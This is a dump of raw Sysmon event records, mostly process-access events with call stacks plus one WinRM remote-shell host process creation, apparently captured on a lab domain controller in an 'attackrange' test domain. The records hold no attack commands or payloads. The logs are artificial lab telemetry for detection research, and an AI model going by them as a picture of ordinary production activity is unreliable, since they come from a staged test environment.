09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000175Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000174Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000173Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000172Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000171Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000170Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x8000000000000000169Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.283{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000168Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.283{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000167Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.283{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000166Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.205{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000165Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.205{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000164Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.205{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000163Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.190{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000162Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.190{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000161Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.190{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-289A-5F80-0703-000000007E01}27882144C:\Windows\system32\conhost.exe{A5F018FF-289A-5F80-0B03-000000007E01}5028C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000377Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000376Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000375Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000374Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000373Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:42.893{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 